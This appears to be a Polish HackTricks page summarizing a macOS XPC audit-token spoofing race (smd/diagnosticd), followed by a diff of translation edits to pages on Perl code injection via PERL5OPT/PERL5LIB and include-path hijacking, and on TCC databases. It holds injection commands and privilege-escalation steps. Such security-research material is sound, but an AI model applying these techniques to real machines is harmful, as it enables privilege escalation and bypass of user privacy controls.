* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Aby uzyskać więcej informacji, sprawdź oryginalny post:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Oto streszczenie:
## Podstawowe informacje o wiadomościach Mach
Jeśli nie wiesz, czym są wiadomości Mach, zacznij od sprawdzenia tej strony:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
Na razie zapamiętaj, że ([definicja stąd](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Wiadomości Mach są wysyłane przez _port mach_, który jest **kanałem komunikacyjnym jednego odbiorcy, wielu nadawców** wbudowanym w jądro mach. **Wiele procesów może wysyłać wiadomości** do portu mach, ale w dowolnym momencie **tylko jeden proces może je czytać**. Podobnie jak deskryptory plików i gniazda, porty mach są przydzielane i zarządzane przez jądro, a procesy widzą tylko liczbę całkowitą, którą mogą użyć do wskazania jądru, który z ich portów mach chcą użyć.
## Połączenie XPC
Jeśli nie wiesz, jak jest nawiązywane połączenie XPC, sprawdź:
{% content-ref url="../" %}
[..](../)
{% endcontent-ref %}
## Podsumowanie podatności
Co jest dla Ciebie interesujące, to to, że **abstrakcja XPC to połączenie jeden do jednego**, ale opiera się na technologii, która **może mieć wielu nadawców, więc:**
* Porty mach są jednym odbiorcą, **wieloma nadawcami**.
* Token audytu połączenia XPC to token audytu **skopiowany z ostatnio otrzymanej wiadomości**.
* Uzyskanie **tokena audytu** połączenia XPC jest kluczowe dla wielu **kontroli bezpieczeństwa**.
Mimo że poprzednia sytuacja wydaje się obiecująca, istnieją scenariusze, w których to nie spowoduje problemów ([stąd](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Tokeny audytu są często używane do sprawdzenia autoryzacji, aby zdecydować, czy zaakceptować połączenie. Ponieważ dzieje się to za pomocą wiadomości do portu usługi, **jeszcze nie zostało nawiązane połączenie**. Więcej wiadomości na tym porcie będzie po prostu obsługiwane jako dodatkowe żądania połączenia. Dlatego **kontrole przed zaakceptowaniem połączenia nie są podatne** (oznacza to również, że wewnątrz `-listener:shouldAcceptNewConnection:` token audytu jest bezpieczny). Szukamy zatem **połączeń XPC, które weryfikują konkretne działania**.
* Obsługa zdarzeń XPC jest obsługiwana synchronicznie. Oznacza to, że obsługa zdarzeń dla jednej wiadomości musi zostać zakończona przed jej wywołaniem dla następnej, nawet na równoległych kolejkach dystrybucji. Dlatego wewnątrz **obsługi zdarzeń XPC token audytu nie może zostać nadpisany** przez inne normalne (nie-odpowiedzi!) wiadomości.
Dwa różne sposoby, w jakie to może być wykorzystane:
1. Wariant 1:
* **Exploit** łączy się z usługą **A** i usługą **B**
* Usługa **B** może wywołać **uprzywilejowaną funkcjonalność** w usłudze A, której użytkownik nie może
* Usługa **A** wywołuje **`xpc_connection_get_audit_token`** podczas _**nie**_ znajdowania się w **obsłudze zdarzeń** dla połączenia w **`dispatch_async`**.
* Więc **inna** wiadomość mogłaby **nadpisać Token Audytu**, ponieważ jest wysyłana asynchronicznie poza obsługą zdarzeń.
* Exploit przekazuje **usłudze B prawo DO WYSYŁANIA do usługi A**.
* Więc usługa **B** faktycznie **wysyła** **wiadomości** do usługi **A**.
* **Exploit** próbuje **wywołać** **uprzywilejowaną akcję**. W RC usługa **A sprawdza** autoryzację tej **akcji**, podczas gdy **usługa B nadpisała Token Audytu** (dając exploittowi dostęp do wywołania uprzywilejowanej akcji).
2. Wariant 2:
* Usługa **B** może wywołać **uprzywilejowaną funkcjonalność** w usłudze A, której użytkownik nie może
* Exploit łączy się z **usługą A**, która **wysyła** exploita **wiadomość oczekującą na odpowiedź** w określonym **porcie odpowiedzi**.
* Exploit wysyła **usłudze B wiadomość przekazującą ten port odpowiedzi**.
* Gdy usługa **B odpowiada**, **wysyła wiadomość do usługi A**, **podczas gdy** **exploit** wysyła inną **wiadomość do usługi A**, próbując **osiągnąć uprzywilejowaną funkcjonalność** i oczekując, że odpowiedź od usługi B nadpisze Token Audytu w idealnym momencie (Warunki Wyścigu).
## Wariant 1: wywołanie xpc\_connection\_get\_audit\_token poza obsługą zdarzeń <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Scenariusz:
* Dwie usługi mach **`A`** i **`B`**, do których możemy się obydwoma połączyć (w oparciu o profil piaskownicy i kontrole autoryzacji przed zaakceptowaniem połączenia).
* _**A**_ musi mieć **sprawdzenie autoryzacji** dla konkretnej akcji, którą **`B`** może przekazać (ale nasza aplikacja nie może).
* Na przykład, jeśli B ma pewne **uprawnienia** lub działa jako **root**, może pozwolić mu poprosić A o wykonanie uprzywilejowanej akcji.
* Dla tego sprawdzenia autoryzacji **`A`** asynchronicznie uzyskuje token audytu, na przykład wywołując `xpc_connection_get_audit_token` z **`dispatch_async`**.
{% hint style="danger" %}
W tym przypadku atakujący mógłby wywołać **Warunki Wyścigu**, tworząc **exploit**, który **prosi A o wykonanie akcji** kilka razy, jednocześnie wysyłając **B wiadomości do `A`**. Gdy RC jest **udany**, token audytu **B** zostanie skopiowany w pamięci **podczas** obsługi żądania naszego **exploita** przez A, dając mu **dostęp do akcji uprzywilejowanej, którą mógłby poprosić tylko B**.
{% endhint %}
Do tego doszło z **`A`** jako `smd` i **`B`** jako `diagnosticd`. Funkcja [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) z smb może być użyta do zainstalowania nowego uprzywilejowanego narzędzia pomocniczego (jako **root**). Jeśli **proces działa jako root** i kontaktuje się z **smd**, nie będą wykonywane żadne inne kontrole.
Dlatego usługa **B** to **`diagnosticd`**, ponieważ działa jako **root** i może być używana do **monitorowania** procesu, więc po rozpoczęciu monitorowania będzie **wysyłać wiele wiadomości na sekundę.**
Aby przeprowadzić atak:
1. Nawiąż **połączenie** z usługą o nazwie `smd`, korzystając z standardowego protokołu XPC.
2. Utwórz dodatkowe **połączenie** z `diagnosticd`. W przeciwieństwie do normalnej procedury, zamiast tworzyć i wysyłać dwa nowe porty mach, prawo do wysyłania portu klienta jest zastępowane duplikatem **prawa do wysyłania** skojarzonego z połączeniem `smd`.
3. W rezultacie wiadomości XPC mogą być wysyłane do `diagnosticd`, ale odpowiedzi z `diagnosticd` są przekierowywane do `smd`. Dla `smd` wydaje się, że wiadomości zarówno od użytkownika, jak i `diagnosticd` pochodzą z tego samego połączenia.
![Obrazek przedstawiający proces ataku](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Następny krok polega na nakazaniu `diagnosticd` rozpoczęcia monitorowania wybranego procesu (potencjalnie własnego użytkownika). Jednocześnie wysyłany jest potok rutynowych komunikatów 1004 do `smd`. Celem jest zainstalowanie narzędzia z podwyższonymi uprawnieniami.
5. Ta akcja wywołuje warunkową sytuację w funkcji `handle_bless`. Istotny jest czas: wywołanie funkcji `xpc_connection_get_pid` musi zwrócić PID procesu użytkownika (ponieważ narzędzie z uprawnieniami znajduje się w pakiecie aplikacji użytkownika). Jednakże funkcja `xpc_connection_get_audit_token`, w szczególności w podprogramie `connection_is_authorized`, musi odnosić się do tokenu audytu należącego do `diagnosticd`.
## Wariant 2: przekazywanie odpowiedzi
W środowisku XPC (Cross-Process Communication), chociaż obsługiwacze zdarzeń nie wykonują się równolegle, obsługa komunikatów odpowiedzi ma unikalne zachowanie. Istnieją specjalnie dwa różne metody wysyłania komunikatów, które oczekują odpowiedzi:
1. **`xpc_connection_send_message_with_reply`**: Tutaj komunikat XPC jest odbierany i przetwarzany w wyznaczonej kolejce.
2. **`xpc_connection_send_message_with_reply_sync`**: W przeciwnym razie, w tej metodzie komunikat XPC jest odbierany i przetwarzany w bieżącej kolejce dyspozytorskiej.
To rozróżnienie jest istotne, ponieważ pozwala na możliwość **parsowania pakietów odpowiedzi równolegle z wykonaniem obsługacza zdarzeń XPC**. Warto zauważyć, że chociaż `_xpc_connection_set_creds` implementuje blokowanie w celu zabezpieczenia przed częściowym nadpisaniem tokenu audytu, nie rozszerza tej ochrony na cały obiekt połączenia. W rezultacie powstaje podatność, w której token audytu może zostać zastąpiony w okresie między parsowaniem pakietu a wykonaniem jego obsługacza zdarzeń.
Aby wykorzystać tę podatność, wymagane jest następujące przygotowanie:
* Dwa usługi mach, oznaczone jako **`A`** i **`B`**, obie mogą nawiązać połączenie.
* Usługa **`A`** powinna zawierać sprawdzenie autoryzacji dla konkretnej akcji, którą tylko **`B`** może wykonać (aplikacja użytkownika nie może).
* Usługa **`A`** powinna wysłać komunikat, który oczekuje odpowiedzi.
* Użytkownik może wysłać komunikat do **`B`**, na który ten odpowie.
Proces eksploatacji obejmuje następujące kroki:
1. Oczekiwanie, aż usługa **`A`** wyśle komunikat, który oczekuje odpowiedzi.
2. Zamiast bezpośrednio odpowiadać na **`A`**, port odpowiedzi jest przejęty i używany do wysłania komunikatu do usługi **`B`**.
3. Następnie wysyłany jest komunikat dotyczący zabronionej akcji, z oczekiwaniem, że zostanie przetworzony równolegle z odpowiedzią od **`B`**.
Poniżej znajduje się wizualna reprezentacja opisanego scenariusza ataku:
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Problemy z Odkryciem
* **Trudności w Lokalizowaniu Instancji**: Poszukiwanie instancji użycia `xpc_connection_get_audit_token` było trudne, zarówno statycznie, jak i dynamicznie.
* **Metodologia**: Frida została użyta do podpięcia funkcji `xpc_connection_get_audit_token`, filtrowanie wywołań niepochodzących od obsługaczy zdarzeń. Jednakże ta metoda była ograniczona do podpiętego procesu i wymagała aktywnego użycia.
* **Narzędzia Analizy**: Narzędzia takie jak IDA/Ghidra były używane do badania osiągalnych usług mach, ale proces był czasochłonny, komplikowany przez wywołania związane z pamięcią podręczną dyld.
* **Ograniczenia Skryptowania**: Próby zautomatyzowania analizy wywołań `xpc_connection_get_audit_token` z bloków `dispatch_async` były utrudnione przez złożoności w parsowaniu bloków i interakcje z pamięcią podręczną dyld.
## Naprawa <a href="#the-fix" id="the-fix"></a>
* **Zgłoszone Problemy**: Zgłoszono raport do Apple, w którym szczegółowo opisano ogólne i konkretne problemy znalezione w `smd`.
* **Odpowiedź od Apple**: Apple rozwiązało problem w `smd`, zastępując `xpc_connection_get_audit_token` przez `xpc_dictionary_get_audit_token`.
* **Charakter Naprawy**: Funkcja `xpc_dictionary_get_audit_token` jest uważana za bezpieczną, ponieważ pobiera token audytu bezpośrednio z wiadomości mach powiązanej z otrzymanym komunikatem XPC. Jednakże nie jest to część publicznego interfejsu API, podobnie jak `xpc_connection_get_audit_token`.
* **Brak Szerokiej Naprawy**: Pozostaje niejasne, dlaczego Apple nie zaimplementowało bardziej kompleksowej naprawy, takiej jak odrzucanie komunikatów niezgodnych z zapisanym tokenem audytu połączenia. Może to być spowodowane możliwością legitimizacji zmiany tokenu audytu w określonych scenariuszach (np. użycie `setuid`).
* **Aktualny Status**: Problem nadal występuje w iOS 17 i macOS 14, stanowiąc wyzwanie dla osób starających się go zidentyfikować i zrozumieć.

View file

@ -1,4 +1,4 @@
# Wstrzykiwanie kodu w aplikacje Perl w systemie macOS
# Wstrzykiwanie aplikacji Perl w macOS
<details>
@ -6,17 +6,17 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Za pomocą zmiennej środowiskowej `PERL5OPT` i `PERL5LIB`
## Przez zmienną środowiskową `PERL5OPT` & `PERL5LIB`
Za pomocą zmiennej środowiskowej PERL5OPT można zmusić perl do wykonania dowolnych poleceń.\
Korzystając z zmiennej środowiskowej PERL5OPT, można sprawić, że perl będzie wykonywał dowolne polecenia.\
Na przykład, utwórz ten skrypt:
{% code title="test.pl" %}
@ -26,12 +26,12 @@ print "Hello from the Perl script!\n";
```
{% endcode %}
Teraz **wyeksportuj zmienną środowiskową** i uruchom skrypt **perl**:
Teraz **wyeksportuj zmienną środowiskową** i wykonaj skrypt **perl**:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Inna opcja to utworzenie modułu Perl (np. `/tmp/pmod.pm`):
Kolejną opcją jest utworzenie modułu Perl (np. `/tmp/pmod.pm`):
{% code title="/tmp/pmod.pm" %}
```perl
@ -42,17 +42,17 @@ system('whoami');
```
{% endcode %}
A następnie użyj zmiennych środowiskowych:
Następnie użyj zmiennych środowiskowych:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Przez zależności
## Poprzez zależności
Możliwe jest wylistowanie kolejności folderu zależności uruchamianych przez Perl:
Możliwe jest wyświetlenie kolejności folderów zależności Perl:
```bash
perl -e 'print join("\n", @INC)'
```
Co spowoduje zwrócenie czegoś takiego:
Co spowoduje zwrócenie czegoś w stylu:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -64,17 +64,17 @@ Co spowoduje zwrócenie czegoś takiego:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Niektóre z zwróconych folderów nawet nie istnieją, jednak **`/Library/Perl/5.30`** **istnieje**, nie jest **chroniony** przez **SIP** i znajduje się **przed folderami chronionymi przez SIP**. Dlatego ktoś mógłby wykorzystać ten folder, aby dodać w nim zależności skryptu, dzięki czemu skrypt Perl o wysokich uprawnieniach go załaduje.
Niektóre z zwróconych folderów nawet nie istnieją, jednak **`/Library/Perl/5.30`** **istnieje**, nie jest **chroniony** przez **SIP** i znajduje się **przed** folderami **chronionymi przez SIP**. Dlatego ktoś mógłby nadużyć tego folderu, aby dodać zależności skryptu, dzięki czemu skrypt Perl o wysokich uprawnieniach będzie go ładował.
{% hint style="warning" %}
Należy jednak zauważyć, że **musisz być rootem, aby pisać w tym folderze**, a obecnie otrzymasz ten **komunikat TCC**:
Jednak zauważ, że **musisz być rootem, aby pisać w tym folderze** i obecnie otrzymasz ten **komunikat TCC**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Na przykład, jeśli skrypt importuje **`use File::Basename;`**, można utworzyć `/Library/Perl/5.30/File/Basename.pm`, aby wykonać dowolny kod.
Na przykład, jeśli skrypt importuje **`use File::Basename;`** byłoby możliwe utworzenie `/Library/Perl/5.30/File/Basename.pm`, aby wykonać arbitralny kod.
## Referencje
## References
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
@ -84,10 +84,10 @@ Na przykład, jeśli skrypt importuje **`use File::Basename;`**, można utworzy
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,60 +6,60 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Podstawowe informacje**
**TCC (Transparency, Consent, and Control)** to protokół bezpieczeństwa, który skupia się na regulowaniu uprawnień aplikacji. Jego głównym zadaniem jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. Poprzez wymaganie wyraźnej zgody użytkownika przed udzieleniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad ich danymi.
**TCC (Transparency, Consent, and Control)** to protokół bezpieczeństwa skupiający się na regulowaniu uprawnień aplikacji. Jego głównym celem jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacyjne, kontakty, zdjęcia, mikrofon, kamera, dostępność i pełny dostęp do dysku**. Poprzez wymaganie wyraźnej zgody użytkownika przed udzieleniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad ich danymi.
Użytkownicy spotykają się z TCC, gdy aplikacje żądają dostępu do chronionych funkcji. Jest to widoczne poprzez monit, który umożliwia użytkownikom **zatwierdzenie lub odmowę dostępu**. Ponadto, TCC uwzględnia bezpośrednie działania użytkownika, takie jak **przeciąganie i upuszczanie plików do aplikacji**, w celu udzielenia dostępu do konkretnych plików, zapewniając, że aplikacje mają dostęp tylko do tego, co jest wyraźnie zezwolone.
Użytkownicy spotykają się z TCC, gdy aplikacje żądają dostępu do chronionych funkcji. Jest to widoczne poprzez monit, który pozwala użytkownikom **zaakceptować lub odrzucić dostęp**. Ponadto, TCC uwzględnia bezpośrednie działania użytkownika, takie jak **przeciąganie i upuszczanie plików do aplikacji**, aby udzielić dostępu do konkretnych plików, zapewniając, że aplikacje mają dostęp tylko do tego, co jest wyraźnie zezwolone.
![Przykład monitu TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** jest obsługiwane przez **demona** znajdującego się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowane w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrując usługę mach `com.apple.tccd.system`).
**TCC** jest obsługiwane przez **demona** znajdującego się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowane w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrującego usługę mach `com.apple.tccd.system`).
Istnieje również **tccd w trybie użytkownika**, który działa dla zalogowanego użytkownika i jest zdefiniowany w `/System/Library/LaunchAgents/com.apple.tccd.plist`, rejestrując usługi mach `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
Istnieje **tccd w trybie użytkownika** działający dla zalogowanego użytkownika zdefiniowany w `/System/Library/LaunchAgents/com.apple.tccd.plist` rejestrujący usługi mach `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
Tutaj możesz zobaczyć działanie tccd jako system i jako użytkownik:
Tutaj możesz zobaczyć tccd działające jako system i jako użytkownik:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Uprawnienia są dziedziczone od aplikacji nadrzędnej, a uprawnienia są śledzone na podstawie identyfikatora pakietu (Bundle ID) i identyfikatora dewelopera (Developer ID).
Uprawnienia są **dziedziczone od aplikacji nadrzędnej**, a **uprawnienia****śledzone** na podstawie **ID pakietu** i **ID dewelopera**.
### Bazy danych TCC
Uprawnienia są przechowywane w bazach danych TCC:
Następnie zezwolenia/odmowy przechowywane są w niektórych bazach danych TCC:
* Baza danych ogólnosystemowa w **`/Library/Application Support/com.apple.TCC/TCC.db`**.
* Ta baza danych jest chroniona przez SIP, więc tylko omijanie SIP pozwala na zapis do niej.
* Baza danych TCC użytkownika w **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji użytkownika.
* Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takimi jak Pełny dostęp do dysku, mogą zapisywać do niej (ale nie jest chroniona przez SIP).
* Baza danych systemowa w **`/Library/Application Support/com.apple.TCC/TCC.db`**.
* Ta baza danych jest chroniona przez SIP, więc tylko pominięcie SIP może ją zapisywać.
* Baza danych użytkownika TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji użytkownika.
* Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą zapisywać do niej (ale nie jest chroniona przez SIP).
{% hint style="warning" %}
Wcześniej wymienione bazy danych są również chronione przez TCC przed dostępem do odczytu. Nie będziesz więc mógł odczytać swojej zwykłej bazy danych TCC użytkownika, chyba że jest to proces z uprawnieniami TCC.
Poprzednie bazy danych są również **chronione przez TCC przed dostępem do odczytu**. Dlatego **nie będziesz w stanie odczytać** swojej zwykłej bazy danych TCC użytkownika, chyba że jest to z procesu z uprawnieniami TCC.
Należy jednak pamiętać, że proces z tymi wysokimi uprawnieniami (takimi jak FDA lub `kTCCServiceEndpointSecurityClient`) będzie mógł zapisywać do bazy danych TCC użytkownika.
Jednak pamiętaj, że procesy z tymi wysokimi uprawnieniami (takie jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będą mogły zapisywać do bazy danych TCC użytkowników.
{% endhint %}
* Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`**, która wskazuje, które klienty mają dostęp do usług lokalizacji.
* Chroniony przez SIP plik **`/Users/carlospolop/Downloads/REG.db`** (również chroniony przed dostępem do odczytu przez TCC) zawiera lokalizację wszystkich prawidłowych baz danych TCC.
* Chroniony przez SIP plik **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (również chroniony przed dostępem do odczytu przez TCC) zawiera więcej przyznanych uprawnień TCC.
* Chroniony przez SIP plik **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ale czytelny dla każdego) to lista aplikacji wymagających wyjątku TCC.
* Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`** wskazująca klientów uprawnionych do **dostępu do usług lokalizacyjnych**.
* Chroniony plik SIP **`/Users/carlospolop/Downloads/REG.db`** (również chroniony przed dostępem do odczytu za pomocą TCC) zawiera **lokalizację** wszystkich **ważnych baz danych TCC**.
* Chroniony plik SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (również chroniony przed dostępem do odczytu za pomocą TCC) zawiera więcej przyznanych uprawnień TCC.
* Chroniony plik SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ale czytelny dla każdego) to lista aplikacji wymagających wyjątku TCC.
{% hint style="success" %}
Baza danych TCC w systemie **iOS** znajduje się w **`/private/var/mobile/Library/TCC/TCC.db`**
Baza danych TCC w **iOS** znajduje się w **`/private/var/mobile/Library/TCC/TCC.db`**
{% endhint %}
{% hint style="info" %}
Interfejs **centrum powiadomień** może dokonywać zmian w systemowej bazie danych TCC:
**Centrum powiadomień UI** może dokonywać **zmian w systemowej bazie danych TCC**:
{% code overflow="wrap" %}
```bash
@ -70,13 +70,13 @@ com.apple.rootless.storage.TCC
```
{% endcode %}
Jednak użytkownicy mogą **usuwać lub zapytać o reguły** za pomocą narzędzia wiersza poleceń **`tccutil`**.
Jednak użytkownicy mogą **usunąć lub zapytać o zasady** za pomocą narzędzia wiersza poleceń **`tccutil`**.
{% endhint %}
#### Zapytaj bazy danych
{% tabs %}
{% tab title="Baza danych użytkownika" %}
{% tab title="baza danych użytkownika" %}
{% code overflow="wrap" %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
@ -98,7 +98,6 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtab %}
{% tab title="system DB" %}
{% code overflow="wrap" %}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -123,18 +122,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %}
{% hint style="success" %}
Sprawdzając obie bazy danych można sprawdzić uprawnienia, które aplikacja zezwoliła, zabroniła lub których nie ma (zostaną o nie poproszone).
Sprawdzając obie bazy danych, możesz sprawdzić uprawnienia, które aplikacja ma zezwolone, których zabroniono lub których nie ma (aplikacja poprosi o nie).
{% endhint %}
* **`service`** to reprezentacja ciągu znaków **uprawnienia** TCC
* **`service`** to reprezentacja ciągu **uprawnienia** TCC
* **`client`** to **ID pakietu** lub **ścieżka do pliku binarnego** z uprawnieniami
* **`client_type`** wskazuje, czy jest to identyfikator pakietu (0) czy absolutna ścieżka (1)
* **`client_type`** wskazuje, czy jest to identyfikator pakietu(0) czy bezwzględna ścieżka(1)
<details>
<summary>Jak wykonać, jeśli to jest absolutna ścieżka</summary>
<summary> Jak wykonać, jeśli to jest bezwzględna ścieżka</summary>
Po prostu wykonaj **`launctl load you_bin.plist`**, z plikiem plist takim jak:
Po prostu wykonaj **`launctl load your_bin.plist`**, z plikiem plist jak poniżej:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -173,9 +172,9 @@ Po prostu wykonaj **`launctl load you_bin.plist`**, z plikiem plist takim jak:
```
</details>
